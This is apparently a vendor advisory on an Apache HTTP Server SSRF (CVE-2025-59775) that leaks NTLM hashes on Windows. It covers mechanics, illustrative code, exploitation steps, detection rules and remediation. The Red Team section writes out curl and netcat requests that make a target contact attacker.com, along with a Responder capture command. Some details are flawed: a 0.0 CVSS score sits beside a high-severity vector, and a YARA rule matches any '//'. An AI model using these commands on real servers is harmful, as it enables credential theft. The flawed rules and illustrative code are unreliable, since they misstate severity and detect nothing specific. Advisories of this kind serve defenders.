CVE-2025-59775

Executive Summary

CVE-2025-59775 is a Server-Side Request Forgery (SSRF) vulnerability in the Apache HTTP Server on Windows, specifically when the AllowEncodedSlashes directive is set to On and MergeSlashes is set to Off. This configuration allows an attacker to craft malicious requests or content that forces the server to make outbound connections to an attacker-controlled server, potentially leaking NTLM hashes. The vulnerability is rated with a CVSS score of 0.0 (pending official scoring), but the impact is significant as it can lead to credential theft and lateral movement within a Windows domain. The patch is available in version 2.4.66.

Supply Chain & Package Security

This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but affects the Apache HTTP Server software distribution. Organizations using Apache on Windows should verify their version and apply the patch immediately.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): High (H) – NTLM hashes can be leaked.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No impact on availability.

Threat Level: High – Exploitation can lead to credential theft and lateral movement.

Deep Dive & Mechanics

The vulnerability exists in the Apache HTTP Server's handling of encoded slashes (%2F) when AllowEncodedSlashes is enabled and MergeSlashes is disabled. On Windows, the server's URL processing logic can be tricked into making outbound requests to arbitrary hosts. By sending a crafted request with encoded slashes, an attacker can force the server to initiate an NTLM authentication handshake with an attacker-controlled server. This leaks the Windows NTLM hash of the Apache service account, which can be used for pass-the-hash attacks or offline cracking.

Key Configuration:

• AllowEncodedSlashes On – Allows encoded slashes in URLs.
• MergeSlashes Off – Prevents merging of consecutive slashes.

Attack Flow:

1. Attacker sends a request like http://target/%2F%2Fattacker.com%2Fresource.
2. Apache processes the encoded slashes and makes a request to //attacker.com/resource.
3. The attacker's server responds with an NTLM challenge.
4. Apache automatically responds with the NTLM hash of its service account.

Vulnerable vs. Patched Code

Vulnerable Code (Apache < 2.4.66):

// Simplified representation of vulnerable logic
if (AllowEncodedSlashes && !MergeSlashes) {
    // Process encoded slashes without proper validation
    url = decode_slashes(request_uri);
    // Forward request to decoded URL
    forward_request(url);
}

Patched Code (Apache 2.4.66):

// Simplified representation of patched logic
if (AllowEncodedSlashes && !MergeSlashes) {
    // Validate that the decoded URL does not point to an external host
    url = decode_slashes(request_uri);
    if (is_external_host(url)) {
        reject_request(403);
    } else {
        forward_request(url);
    }
}

The patch adds a check to prevent forwarding requests to external hosts when encoded slashes are used.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Apache HTTP Server on Windows with AllowEncodedSlashes On and MergeSlashes Off.
• Attacker-controlled server to capture NTLM hashes (e.g., using Responder or Impacket).

Exploitation Steps:

1. Set up an NTLM capture tool on the attacker server:

   sudo python3 Responder.py -I eth0 -w
   

2. Send a crafted request to the vulnerable Apache server:

   curl "http://target/%2F%2Fattacker.com%2Ftest" --path-as-is
   

3. The Apache server will make a request to //attacker.com/test, triggering NTLM authentication.
4. Capture the NTLM hash from the attacker server logs.

Alternative using Netcat:

echo -e "GET /%2F%2Fattacker.com%2Ftest HTTP/1.1\r\nHost: target\r\n\r\n" | nc target 80

Blue Team

Detection:

• Monitor for requests containing %2F%2F in the URI.
• Alert on outbound connections from the Apache server to unexpected external hosts.
• Use the detection rules provided below.

Hunting:

• Search web server logs for patterns like /%2F%2F or // in the request URI.
• Correlate with outbound network connections from the Apache process.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound connections from Apache server to external hosts on ports 80/443.
  • NTLM authentication traffic (Type 1, 2, 3 messages) to unexpected destinations.
• Log IOCs:
  • Apache access log entries with %2F%2F in the request URI.
  • Error log entries indicating failed outbound requests.
• File IOCs:
  • Modified Apache configuration files with AllowEncodedSlashes On and MergeSlashes Off.

Detection Engineering

YARA Rule

rule CVE_2025_59775_Apache_SSRF {
    meta:
        description = "Detects requests exploiting CVE-2025-59775 in Apache HTTP Server"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-59775"
    strings:
        $encoded_slashes = "%2F%2F"
        $double_slash = "//"
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-59775 Apache SSRF Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with encoded slashes targeting Apache on Windows
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: '%2F%2F'
    condition: selection
falsepositives:
    - Legitimate use of encoded slashes in rare cases
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-59775 Apache SSRF Exploitation Attempt"; flow:to_server; content:"%2F%2F"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Apache HTTP Server to version 2.4.66 or later.
2. If upgrade is not possible, set AllowEncodedSlashes Off and MergeSlashes On in the configuration.
3. Restrict outbound connections from the Apache server using firewall rules.

Long-term Measures:

• Implement network segmentation to limit lateral movement.
• Use Web Application Firewalls (WAF) to filter malicious requests.
• Regularly audit Apache configurations for insecure settings.

Workaround:

AllowEncodedSlashes Off
MergeSlashes On

Valters IT
Securing Digital Frontiers